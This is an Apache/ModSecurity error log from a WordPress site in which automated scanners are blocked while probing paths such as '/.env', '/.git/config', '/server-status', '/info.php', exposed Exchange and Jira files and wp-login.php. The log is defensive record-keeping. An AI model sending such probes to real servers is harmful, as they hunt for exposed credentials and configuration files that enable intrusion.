[Sun Nov 16 21:10:28.543679 2025] [:error] [pid 34133:tid 34155] [client 46.101.1.225:44528] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "aRnNRPSAB3iwXVRY0gGs-AAAAVQ"]
[Sun Nov 16 21:10:29.272729 2025] [:error] [pid 34301:tid 34317] [client 46.101.1.225:44532] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/server-status"] [unique_id "aRnNRbGPoZwUGuFNREvqSgAAAo0"]
[Sun Nov 16 21:10:30.001310 2025] [:error] [pid 34301:tid 34307] [client 46.101.1.225:48440] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/login.action"] [unique_id "aRnNRrGPoZwUGuFNREvqSwAAAoM"]
[Sun Nov 16 21:10:30.725570 2025] [:error] [pid 52469:tid 52494] [client 46.101.1.225:48446] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/_all_dbs"] [unique_id "aRnNRk6HaXpHeEZ98Z0P8wAAABE"]
[Sun Nov 16 21:10:31.450014 2025] [:error] [pid 34227:tid 34252] [client 46.101.1.225:48458] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.DS_Store"] [unique_id "aRnNR3108zGLYs9eMuhVOQAAAhc"]
[Sun Nov 16 21:10:32.176724 2025] [:error] [pid 52563:tid 52576] [client 46.101.1.225:48460] [client 46.101.1.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aRnNSM-l3ey-hVJ5AuvL0gAAAMo"]
[Sun Nov 16 21:10:32.901130 2025] [:error] [pid 52469:tid 52491] [client 46.101.1.225:48470] [client 46.101.1.225] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aRnNSE6HaXpHeEZ98Z0P-gAAAA4"]
[Sun Nov 16 21:10:33.629165 2025] [:error] [pid 52469:tid 52496] [client 46.101.1.225:48476] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aRnNSU6HaXpHeEZ98Z0P_QAAABM"]
[Sun Nov 16 21:10:34.356340 2025] [:error] [pid 34271:tid 34293] [client 46.101.1.225:48482] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.json"] [unique_id "aRnNSkNmlZhoZZV1BUDaEAAAAlQ"]
[Sun Nov 16 21:10:35.080577 2025] [:error] [pid 20556:tid 20574] [client 46.101.1.225:48490] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/telescope/requests"] [unique_id "aRnNS0kbyEckbWtBcCKzPAAAARA"]
[Sun Nov 16 21:10:35.811698 2025] [:error] [pid 52469:tid 52484] [client 46.101.1.225:48506] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aRnNS06HaXpHeEZ98Z0P_wAAAAc"]
[Sun Nov 16 21:10:36.536988 2025] [:error] [pid 52563:tid 52585] [client 46.101.1.225:48508] [client 46.101.1.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRnNTM-l3ey-hVJ5AuvL0wAAANM"]
[Mon Nov 17 01:23:33.415495 2025] [:error] [pid 55745:tid 55756] [client 20.186.38.116:5872] [client 20.186.38.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/index.php"] [unique_id "aRoIlYZk0eT801XQsat7OwAAAEk"]
[Mon Nov 17 01:23:34.202889 2025] [autoindex:error] [pid 55657:tid 55719] [client 20.186.38.116:6358] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 17 01:23:39.670466 2025] [autoindex:error] [pid 55655:tid 55675] [client 20.186.38.116:5884] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 17 01:23:45.378430 2025] [:error] [pid 55745:tid 55768] [client 20.186.38.116:6469] [client 20.186.38.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.186.38.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRoIoYZk0eT801XQsat7QAAAAFU"]
[Mon Nov 17 01:23:46.718686 2025] [autoindex:error] [pid 55655:tid 55666] [client 20.186.38.116:5884] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 17 01:23:48.605079 2025] [autoindex:error] [pid 55655:tid 55665] [client 20.186.38.116:5884] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 17 01:23:52.448619 2025] [:error] [pid 55655:tid 55660] [client 20.186.38.116:5884] [client 20.186.38.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "aRoIqCGT_hu1vaVuRSRxjQAAAAE"]
[Mon Nov 17 01:23:53.244921 2025] [autoindex:error] [pid 55656:tid 55701] [client 20.186.38.116:6513] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 17 01:23:53.570684 2025] [autoindex:error] [pid 55656:tid 55710] [client 20.186.38.116:6513] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 17 01:23:53.864012 2025] [autoindex:error] [pid 55656:tid 55689] [client 20.186.38.116:6513] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 17 01:23:57.199483 2025] [:error] [pid 55656:tid 55696] [client 20.186.38.116:6513] [client 20.186.38.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/file.php"] [unique_id "aRoIraZDObyEN97tsHBZewAAAIo"]
[Mon Nov 17 01:23:58.224968 2025] [:error] [pid 65480:tid 328] [client 20.186.38.116:6659] [client 20.186.38.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aRoIrg3NjAS-v6ul5QBhjgAAAMc"]
[Mon Nov 17 01:24:02.542596 2025] [autoindex:error] [pid 55655:tid 55664] [client 20.186.38.116:6497] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 17 01:24:03.154279 2025] [autoindex:error] [pid 55655:tid 55681] [client 20.186.38.116:6497] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 17 01:24:06.927838 2025] [:error] [pid 55657:tid 55725] [client 20.186.38.116:3121] [client 20.186.38.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.186.38.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRoIth2pywrNN427_XRDAAAAAcw"]
[Mon Nov 17 01:24:11.692779 2025] [autoindex:error] [pid 55655:tid 55661] [client 20.186.38.116:6497] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 17 01:24:15.418176 2025] [:error] [pid 55655:tid 55679] [client 20.186.38.116:6497] [client 20.186.38.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aRoIvyGT_hu1vaVuRSRxxAAAABQ"]
[Mon Nov 17 01:24:16.019879 2025] [:error] [pid 65480:tid 333] [client 20.186.38.116:5215] [client 20.186.38.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aRoIwA3NjAS-v6ul5QBhpgAAAMs"]
[Mon Nov 17 01:24:16.777982 2025] [:error] [pid 55745:tid 55747] [client 20.186.38.116:3025] [client 20.186.38.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aRoIwIZk0eT801XQsat7YQAAAEA"]
[Mon Nov 17 01:24:17.291317 2025] [:error] [pid 65480:tid 339] [client 20.186.38.116:5193] [client 20.186.38.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aRoIwQ3NjAS-v6ul5QBhqQAAAM8"]
[Mon Nov 17 03:29:21.943446 2025] [:error] [pid 55745:tid 55752] [client 40.79.24.79:5875] [client 40.79.24.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/index.php"] [unique_id "aRomEYZk0eT801XQsaurfgAAAEU"]
[Mon Nov 17 03:29:23.052846 2025] [autoindex:error] [pid 55655:tid 55682] [client 40.79.24.79:3888] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/fonts/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 17 03:29:29.454933 2025] [autoindex:error] [pid 65480:tid 338] [client 40.79.24.79:5052] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/modern/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 17 03:29:35.467612 2025] [:error] [pid 65480:tid 344] [client 40.79.24.79:3893] [client 40.79.24.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 40.79.24.79, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRomHw3NjAS-v6ul5QCf5AAAANM"]
[Mon Nov 17 03:29:36.714046 2025] [autoindex:error] [pid 65480:tid 320] [client 40.79.24.79:5052] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/customize/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 17 03:29:38.720717 2025] [autoindex:error] [pid 65480:tid 344] [client 40.79.24.79:5052] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 17 03:29:42.237100 2025] [:error] [pid 65480:tid 339] [client 40.79.24.79:5052] [client 40.79.24.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "aRomJg3NjAS-v6ul5QCgCgAAAM8"]
[Mon Nov 17 03:29:42.921451 2025] [autoindex:error] [pid 65480:tid 321] [client 40.79.24.79:4984] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 17 03:29:43.426630 2025] [autoindex:error] [pid 65480:tid 326] [client 40.79.24.79:4984] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/crystal/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 17 03:29:43.891671 2025] [autoindex:error] [pid 65480:tid 350] [client 40.79.24.79:4984] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 17 03:29:45.945681 2025] [:error] [pid 65480:tid 330] [client 40.79.24.79:4984] [client 40.79.24.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/ID3/file.php"] [unique_id "aRomKQ3NjAS-v6ul5QCgEgAAAMk"]
[Mon Nov 17 03:29:46.861074 2025] [:error] [pid 55657:tid 55707] [client 40.79.24.79:4962] [client 40.79.24.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aRomKh2pywrNN427_XRqGwAAAcI"]
[Mon Nov 17 03:29:51.302452 2025] [autoindex:error] [pid 65480:tid 339] [client 40.79.24.79:5848] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/ID3/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 17 03:29:51.607423 2025] [autoindex:error] [pid 65480:tid 328] [client 40.79.24.79:5848] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/media/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 17 03:29:55.607688 2025] [:error] [pid 65480:tid 345] [client 40.79.24.79:2828] [client 40.79.24.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 40.79.24.79, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aRomMw3NjAS-v6ul5QCgJwAAANQ"]
[Mon Nov 17 03:30:00.170623 2025] [autoindex:error] [pid 65480:tid 349] [client 40.79.24.79:5848] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Mon Nov 17 03:30:04.713403 2025] [:error] [pid 65480:tid 325] [client 40.79.24.79:5848] [client 40.79.24.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aRomPA3NjAS-v6ul5QCgPQAAAMU"]
[Mon Nov 17 03:30:05.498941 2025] [:error] [pid 55657:tid 55722] [client 40.79.24.79:6383] [client 40.79.24.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aRomPR2pywrNN427_XRqPAAAAco"]
[Mon Nov 17 03:30:06.574421 2025] [:error] [pid 65480:tid 341] [client 40.79.24.79:5040] [client 40.79.24.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aRomPg3NjAS-v6ul5QCgQQAAANA"]
[Mon Nov 17 03:30:07.204106 2025] [:error] [pid 55656:tid 55714] [client 40.79.24.79:2878] [client 40.79.24.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/index.php"] [unique_id "aRomP6ZDObyEN97tsHB-0wAAAJU"]
[Mon Nov 17 03:39:44.197738 2025] [:error] [pid 18995:tid 19016] [client 35.234.52.174:44646] [client 35.234.52.174] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aRoogPvcAQ4ZyKhLIQ1K5AAAAAI"]
[Mon Nov 17 04:47:19.323377 2025] [:error] [pid 39451:tid 39512] [client 180.102.134.69:33705] [client 180.102.134.69] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aRo4V-fgkqXTS0SO3fBX-QAAAIQ"]
[Mon Nov 17 06:47:39.809174 2025] [:error] [pid 39449:tid 39475] [client 43.165.69.68:55536] [client 43.165.69.68] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aRpUi6UCymTA3MDfzLOm8gAAABU"]
[Mon Nov 17 10:22:10.928273 2025] [proxy_fcgi:error] [pid 39537:tid 39555] (70007)The timeout specified has expired: [client 51.81.107.180:37862] AH01075: Error dispatching request to : (polling)
